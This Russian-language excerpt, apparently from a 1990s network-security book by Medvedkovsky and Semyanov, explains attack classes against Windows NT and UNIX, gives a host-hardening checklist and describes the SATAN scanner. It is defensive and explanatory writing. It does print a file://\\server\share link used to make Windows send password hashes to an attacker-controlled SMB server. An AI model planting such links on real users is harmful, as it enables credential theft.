Для реализации этой атаки злоумышленником создается специальная HTML-страница "капкан", которая, помимо всего прочего, содержит ссылку следующего вида: file://\\server\share\image.gif. Это ссылка на ресурсы в формате CIFS (Common Internet File System), находящиеся на другом хосте. CIFS -интернет-версия протокола SMB (Server Message Block), который используется Microsoft для разделения ресурсов в своих локальных сетях. Естественно, злоумышленнику нет никакой надобности использовать второй хост, он может сделать ссылку на себя.
Для того, чтобы пользователь смог обратиться к этим ресурсам (в нашем случае - скачать картинки), он должен зарегистрироваться на предложенном ему SMB-сервере (типа Lanman). Windows NT позволяет сделать это, даже не спрашивая пользователя о подтверждении:
она просто передает имя и хэшированный пароль пользователя на сервер Lanman! Ну, а этот сервер, т. к. мы предполагаем, что он кракерский, запоминает имя и пароль пользователя для дальнейших криптоатак, самой успешной из которых, как обычно, будет по словарю.
Таким образом, то, о чем так давно не могли уже мечтать UNIX-хакеры, свершилось! Можно удаленно стянуть имя и зашифрованный пароль пользователя, за исключением того, правда, что эта атака пассивна - незадачливыи "клиент" сам заходит на враждебный сайт, а не наоборот. Заметим, кстати, что скорость перебора NT-паролей достигает 2500 паролей/сек на современном Pentium. Но поскольку схема хэширования в NT несколько упрощена тем, что отсутствует понятие sail, можно поднять ее на несколько порядков, если предварительно схэшировать весь файл паролей, а затем сравнивать результат с захваченным значением.
Представитель Microsoft Mike Nosh, отвечающий за маркетинг Windows NT, узнав об этой уязвимости, заявил: "Хорошо, что люди тестируют наши продукты, и лучшее, что мы можем сделать - повысить осведомленность наших покупателей в вопросах безопасности". Что ж, позиция Microsoft в отношении безопасности своих продуктов, мягко говоря, всегда оставляла желать лучшего.

Причины существования уязвимостей в UNIX-системах

Коснемся причин, по которым описанные нарушения безопасности UNIX имели место, и попытаемся их классифицировать. Сразу оговоримся, что эта классификация ни в коей мере не претендует на новизну или полноту - кому интересна эта тема, предлагаем обратиться к более серьезным научным работам. Опишем вполне понятные читателю причины, по которым, тем не менее, происходит до 90% всех случаев вскрытия UNIX-хостов.
1. Наличие демонов.
2. Механизм SUID/SGID-процессов.
Эти механизмы, являющиеся неотъемлемой частью идеологии UNIX, были и будут лакомым кусочком для хакеров, т. к. в этом случае пользователь всегда взаимодействует с процессом, имеющим большие привилегии,чем у него самого, и поэтому любая ошибка или наработка в нем автоматически ведет к возможности использования этих привилегий.
3. Излишнее доверие.
Об этом уже достаточно говорилось выше. Повторим что в UNIX достаточно много служб. использующих доверие и они могут тем или иным способом быть обмануты.
К этим трем причинам нельзя не добавить следующую :
4) Человеческий фактор с весьма разнообразными способами его проявления - oт легко вскрываемых паролей у обычных пользователей до ошибок у квалифицированных системных администраторов. многие из которых как раз и скрывают путь для использования механизмов доверия.Рассмогрим теперь более подробно причины, по которым оказываются уязвимы демоны и SUID/SGID-процессы:
1) возможность возникновения непредусмотренных ситуаций, связанных с ошибками или недоработками в программировании:
2) наличие скрытых путей взаимодействия с программой. называемых "люками":
3) возможность подмены субъектов и объектов различным образом.
К первым можно отнести классическую ситуацию с переполнением буфера или размерности массива. ведущую к затиранию области стека и записи туда специальных команд, которые будут затем исполнены. Заметим сразу, что этот способ. несмотря на свою популярность, всегда будет системозависимым и ориентирован только на конкретную платформу и версию UNIX.
Хорошим примером непредусмотренной ситуации в многозадачной операционной системе является неправильная обработка некоторого специального сигнала или прерывания. Часто хакер имеет возможность смоделировать ситуацию, в которой этот сигнал или прерывание будет послано (в UNIX'e посылка сигнала решается очень просто - командой kill).
Наконец, одна из самых распространенных программистских ошибок - является неправильная обработка входных данных (это является некоторым обобщением случая переполнения буфера.) По свидетельству. ими в 1990 и 1995 годах были подвергнуты автоматизированному тестированию около 80 программ на 9 различных платформах UNIX - специальная программа подавала навход строки длиной до 100000 символов. Результатом явилось то. что 25-33% в 1990 г. и 18-23% в 1995 г. работали некорректно - зависали, сбрасывали аварийный дамп и т. п. (Интересно, что в коммерческих версиях UNIX этот процент доходил до 43. тогда как в свободно распространяемых он был меньше 10.) Впрочем, справедливости ради надо отметить, что только 2 программы-демона вели себя таким образом в 1990 г.. а через 5 лет эти ошибки были исправлены. Ну, а если программа неправильно обрабатывает случайные входные данные, то очевидно, что можно подобрать такой набор специфических входных данных. которые приведут к желаемым для хакера последствиям. Примером этого может служить innd.
Люком или "черным входом" (backdoor) часто называют оставленную разработчиком недокументированную возможность взаимодействия (чаще всего входа в систему). например, известный только разработчику универсальный "пароль". Люки оставляют в конечных программах вследствие ошибки, нс убрав отладочный код или вследствие необходимости продолжения отладки уже в реальной системе в связи с се высокой сложностью или же их корыстных интересов. Люки - это любимый путь входа в удаленную систему не только у хакеров, но и у журналисгов и режиссеров вкупе с подбором "главного" пароля перебором за минуту до взрыва, но в отличие от последнего способа, люки реально существуют. Классический пример люка - это конечно, отладочный режим в sendmail.
Наконец, вследствие многих особенностей UNIX. таких как асинхронное выполнение процессов, развитый командный язык и файловая система, злоумышленниками могут быть использованы механизмы подмены одного субъекта или объекта другим. Например, в рассмотренных выше примерах часто применялась замена имени файла, имени получателя и т.п. именем программы. Аналогично может быть выполне на подмена некоторых специальных переменных. Так. для некоторых версий UNIX существует атака. связанная с подменой символа разделителя команд или опций на символ "/". Это приводит к тому. что когда программа вызывает /bin/sh. вместо него вызывается файл bin с параметром sh в текущем каталоге. Похожая ситуация возникает при атаке на telnetd. Наконец, очень популярным в UNIX видом подмены является создание ссылки (link) на критичный файл. После этого файл-ссылка некоторым образом получает дополнительные права доступа, и тем самым осуществляется несанкционированный ДОСТУП к исходному файлу. Аналогичная ситуация с подменой файла возникает, если путь к файлу определен нс как абсолютный (/bin/sh), а относительный (../bin/sh или $ (BIN) /sh). Такая ситуация имела место в рассмотренной уязвимости telnetd.
И последнее нельзя приуменьшать роль человека при обеспечении безопасности любой системы. Возможно. он даже является слабейшим звеном. Про необходимость выбора надежных паролей уже говорилось. Неправильное администрирование - такая же актуальная проблема, а для UNIX она особенно остра, т. к. сложность администрирования UNIX-систем давно уже стала притчей во языцех и часто именно на это упирают конкуренты. Но за все надо платить, и это обратная сторона переносимости и и гибкости UNIX. Более того. если говорить о слабости человека, защищенные системы обычно отказываются и еще от одной из основных идей UNIX -наличия суперпользователя. имеющего доступ ко всей информации и никому нс подконтрольного. Его права могут быть распределены среди нескольких людей: администратора персонала, администратора безопасности. администратора сети и т. п.. а сам он может быть удален из системы после ее инсталляции. В результате вербовка одного из администраторов не приводит к таким катастрофическим последствиям, как вербовка суперподьзователя.
Настройки некоторых приложений, того же sendmail настолько сложны. что для поддержания работоспособности системы требуется специальный человек-системный администратор, но даже он не всегда знает о всех возможностях того или иного приложения и о том - как правильно их настроить. И если хакеры смогли проникнуть в систему, то это не всегда говорит о халатности администратора, а. зачастую, о его ограниченном знании тою или иного продукта.

Как же защитить свои хост

Впитав такой впечатляющий набор фактов об уязвимости вашей системы, вы несомненно, задаете себе вопрос: как же обеспечить защиту в сети и. вообще, возможно ли это? Не будем дискутировать на философскую тему "почему абсолютная защита невозможна?" В любом случае, сделать все, чтобы максимально ее улучшить - задача любого администратора безопасности. Надеемся также, что вы уже прочитали рассуждения в главе 7 по вопросу "A есть ли, что мне защищать?".
Проанализировав причины, по которым происходят успешные нападения на хосты UNIX. нам будет легче сформулировать те принципы, на которых будет строиться защита. При этом будем придерживаться следующих концепций:
- актуальность - защищаться надо от реальных атак. а не от фантасгических или. наоборот. времен вируса Морриса:
- разумность затрат - поскольку 100% защиты мы все равно нс обеспечим, надо найти ТОТ рубеж, за которым затраты на дальнейшее повышение безопасности оказываются выше стоимости и тон информации. которую может украсть кракер.
Итак ниже приводится список очень простых правил и действий (некоторые идеи взяты из). за котрым следует процент отсеченных на этом этапе кракеров. Поставив перед собой цель защитить свой хост на N процентов. вы можете сами решить. на каком из них вам осгановиться:
1. Прочитайте, наконец, руководство по администрированию вашей системы и наверняка вы найдете там некоторые полезные советы, которые захотите применить.
2. Поставьте последние версии sendmail. ftpd и httpd. Этим вы сразу отсеете до 30% (самых невежественных или ленивых) кракеров.
3. Запустите программу автоматизированного контроля вашего хоста, типа SATAN или ISS. Почему типа? Дело в том, что на сегодняшний день эти программы явно устарели.
4. Проверьте настройки вашего NFS-сервиса а также содержимое файлов /etc/hosts.equiv и .rhosts (или подобных) для каждого пользователя. У NFS не должно быть экспорта любых каталогов для everyone. а необходимость включения каждого доверенного хоста должна быть еще раз проверена. Уже до 50% кракеров не смогут забраться к вам.
5. Сходите в CERT или CIAC и внимательно прочитайте их бюллетени за последнее время- Установите все рекомендуемые патчи {patch). Этим вы отсеете еще 20% взломщиков, так что уже 70% вы можете остановить .
6. Правильно настройте (или установите) ваш файрвол. Из этого не следует, что вы должны запретить все и веем, запретите лишь все неиспользуемые вами порты и протоколы. Поставьте сетевой монитор безопасности IP-Alert 1. Уже более 80% злоумышленников будет скрежетать зубами от злости.
7.Станьте на несколько часов хакером и напустите на файл /etc/passwd (или затененный (shadow) аналог (/etc/shadow) последний взломщик паролей. Здесь у вас большое преимущество перед хакерами - этот файл слишком просто нолучить. и грех не воспользоваться такой удачей. С теми пользователями, пароли которых были вскрыты автоматически, надо усилить разяснительную работу. Не забудьте затенить ваш файл паролей. Еще 10% кракеров будет убито наповал, и вы победили уже 90% из них.
8. Проверьте настройки всех остальных служб, особенно использующих доверие (типа NIS или X-Window). Откажитесь от них по возможности - и празнуйте победу над около 95% взломщиков.
9. Сходите еще раз в CERT или CIAC и прочитайте все их бюллетени. Установите все рекомендуемые ими и производителями вашего UNIX патчи. Да. это потребует много времени, но вы будете вознаграждены тем. что 97% кракеров для вас перестанут быть опасными.
10. Попросите разрешения у администраторов всех доверенных хостов, найденных вами на шаге 4. просканировать их хосты на предмет безопасности. Для этого можно воспользоваться тем же SATAN'ом. но вам нужно смотреть в первую очередь не на найденные им уязвимости (они вряд ли уже актуальны), а на список использованных сервисов и программ-демонов, их поддерживающих. Это можно сделать, вручную проанализировав файл с результатами работы SATAN. Если вы найдете уязвимую программу там. попросите соседнего администратора обновить ее. Если он не зря занимает свое место. то он с благодарностью это сделает. Итак, 99% кракеров никогда не попадут на ваш. уже почти полностью безопасный хост.
Остальные меры. направленные на отлов последнего процента самых достойных кракеров, являются превентивными в том смысле, что не направлены конкретно на ту или иную службу. Возможно, они будут сопряжены с более или менее значительной переделкой вашего хоста.
11. Придумайте какую-нибудь собственную изюминку. очень простую, но которая сможет привести слишком умных кракеров в тупик, типа переименования какой-нибудь важной команды или сообщения на входе "FSB host Vvedite vashe imya i zvanie:".
12. Поставые монитор всех входящих соединений (типа tcp_wrapper). Этим вы сможете если не остановить. то хогь увидеть следы кракера и понять его логику для дальнейшего закрытия этой лазейки.
13. Избавьтесь от sendmail. поставьте другой SMTP-демон.
14. Выкиньте некоторые малоиспользуемые службы (типа finger, talk. rpc) и ужесточите настройки вашего файрвола.
15. Поставьте proxy-сервер для дополнительной аутентификации извне, а также для скрытия адресов и топологии внутренней подсети.
16. Перенесите весь сервис, требующий входящих соединений (http. SMTP), на отдельную машину и оставьте ее в открытой сети. Удалите с этой машины все программы и нформацию, не о относящуюся к ее назначению. Все остальные машины спрячьте за файрволом с полным отключением входящего трафика.
17. Поставьте защищенную версию UNIX или другой операционной системы.

Средства автоматизированного контроля безопасности

Уже говорилось о полезности средства автоматизированного контроля безопасности отдельного компьютера, а также всей подсети, за которую он отвечает, для системного администратора. Естественно, что такие средства уже появлялись, и чаще других встречаются названия ISS (Internet Security Scaner). COPS (Computer Oracle and Password System) и. конечно. SATAN (Security Administrator Tool for Analizyng Networks). К сожалению, им обычно присущи следующие недостатки:
1) системозависимость - обычно они рассчитаны на вполне конкретную ОС или даже ее версию;
2) ненадежность и неадекватность - если эти программы сообщают, что все "O'key", это совсем не значит, что так на самом деле и есть: и наоборот - некая "уязвимость", с их точки зрения, может оказаться специальным вариантом конфигурации системы;
3) малое время жизни - т. к. с момента обнаружения уязвимости до ее искоренения проходит не очень большое время (порядка года), программа быстро устаревает;
4) неактуальность - более того, с момента выхода программы в свет все новые (поэтому самые опасные) уязвимости оказываются неизвестными для нее, и ее ценность быстро сводится к нулю. Этот недостаток является самым серьезным;
5) наконец, это возможность их использования с прямо противоположными целями - для поиска изъянов в вашей системе.
Можно заметить явную аналогию этих программ с антивирусными сканерами первого поколения - те знали лишь строго определенный набор вирусов, новые вирусы добавлялись только в следующем выпуске программы. Если посмотреть на возможности современных антивирусных программ - это и оперативное лечение вирусов, и автоматизированное пополнение базы вирусов самим пользователем, и поиск неизвестных вирусов, - то можно пожелать, чтобы хороший сканер интерната смог позаимствовать некоторые из них. В первую очередь - это возможность пополнения базы новыми уязвимостями. Причем в наши дни это несложно сделать - стоит лишь скачивать информацию с источников, занимающихся как раз сбором таких сведений, типа CERT или CIAC.

Программа SATAN

После общего введения кажется невозможным не ознакомить вас в общих чертах с таким нашумевшим средством, как SATAN, которое иногда считается чуть ли не самой опасной программой из когда бы то ни было написанных, начиная от своего зловещего названия до возможности влезть чуть ли не в самый защищенный компьютер. Насчет названия сразу подчеркнем, что в момент инсталляции с помощью специальной процедуры вы можете поменять его на SANTA (Security Analysis Network Tool for Administrator), а заодно и зловещего сатану на симпатичного Деда Мороза. А что касается влезания в компьютер (не любой, конечно) - если подобная программа и имеется у хакеров или спецслужб, то она никогда не стала бы свободно распространяться по интернету, как это происходит с SATAN.
На самом деле SATAN - это добротно сделанная, с современным интерфейсом, программа для поиска брешей в вашей подсети (Intranet, как модно говорить в последнее время), написанная на машинно-независимых языках Perl и С, поэтому она в некоторой мере преодолевает первый из вышеописанных недостатков. Она даже допускает возможность для расширения и вставки новых модулей. К сожалению, во всем остальном ей присущи указанные недостатки, в т. ч. и самый главный - она уже устарела, и не может сейчас серьезно использоваться ни администраторами, ни хакерами. Поэтому непонятен мистический страх перед всемогуществом SATAN'а.
Программа ищет уязвимости в:
- FTP и TFTP;
- NFS и NIS;
- rexd;
- sendmail;
- г-службах;
- X-Window.
Существуют также более поздние версии SATAN'a, в которые включен поиск и других уязвимостей.
Для этого она сначала всевозможным образом собирает информацию о вашей системе, причем уровень этого конфигурируется пользователем и может быть; легкий, нормальный и жесткий. Легкий уровень, по утверждению авторов программы, не может быть никак обнаружен атакуемой стороной (по крайней мере, такая активность программы никак не может быть принята за враждебную) и включает в себя DNS-запросы для выяснения версии операционной системы и другой подобной информации, которая может быть легально получена с использованием DNS. Далее она посылает запрос на службу RPC (remote procedure call) для выяснения, какие rpc-сервисы работают. Нормальный уровень разведки включает в себя все эти опросы. а также дополняет их посылкой запросов (сканированием) некоторых строго определенных портов, таких как FTP, telnet. SMTP. NNTP. UUCP и др. для определения установленных служб. Наконец, жесткий уровень включает в себя все предыдущие уровни, а также дополняется полным сканированием всех (возможных) UDP- и ТСР-портов для обнаружения нестандартных служб или служб на нестандартных портах.Такое сканирование может быть легко зафиксировано даже без специальных программ - например, на консоли могут появляться сообщения от вашего файрвола.
Другой важной опцией, задаваемой при настройке SATAN'a, является глубина просмотра подсетей (proximity). Значение 0 означает только один хост, 1 - подсеть, в которую он входит, 2 - все подсети, в которые входит подсеть данного хоста, и т. д.Ни при каких обстоятельствах это число не должно быть более 2, иначе SATAN выйдет из-под контроля и просканирует слишком много внешних подсетей.
Собственно, ничем более страшным, кроме как сканированием портов и обнаружением работающих служб и их конфигурации, SATAN не занимается. При этом, если находятся потенциальные уязвимости, он сообщает об этом. Как пишут сами авторы, фаза проникновения в удаленную систему не была реализована.
Авторы SATAN'a используют очень современный интерфейс - все сообщения программы оформляются в виде HTML-страниц. Поэтому работа с SATAN'ом мало чем отличается от плавания (surf) по интернету в своем любимом броузере (SATAN поддерживает любой из них, будь то lynx. Mosaic или Netscape). Пользователь может отсортировать найденные уязвимости (по типу. серьезности и т. п.) и тут же получить развернутую информа-цию по каждой из них. Для поддержки броузеров в SATAN входит собственный http-сервер, выполняющий ограниченное число запросов, а связь с этим сервером осуществляется с использованием случайного 32-битного числа (magic cookie), которое служит для дополнительной аутентификации nttp-клиента. Иначе говоря. оно служит для предотвращения перехвата конфиденциальной информации броузером, отличным от запущенного SATAN'ом. а также вообще против любого взаимодействия с htlp-сервером SATAN'a. Любопытно, что в версиях до 1.1.1 в этой схеме аутентификации тоже была ошибка, которая даже попала в один из бюллетеней CERT.
Итак. типичный сценарий работы с SATAN заключается в следующем:
1) настроить желаемые параметры, в том числе глубину сканирования;
2) задать адрес цели и уровень сканирования;
3) просмотреть полученные результаты и получить по ним более подробную информацию;
4) устранить найденные уязвимости.
Администратору безопасности рекомендуется просканировать на жестком уровне все свои хосты, а также все доверенные хосты, обязательно спросив на это разрешение у их администраторов. Это рекомендуется сделать даже сегодня, несмотря на то, что SATAN устарел - вы сможете быстро получить список используемых сетевых служб и их версий и проверить, нет ли среди них уязвимых, воспользовавшись материалами CERT или CIAC.

И.Д.Медведковский П.В. Семьянов (Центр Защиты Информации СПбГТУ)

fairwind@mail.ru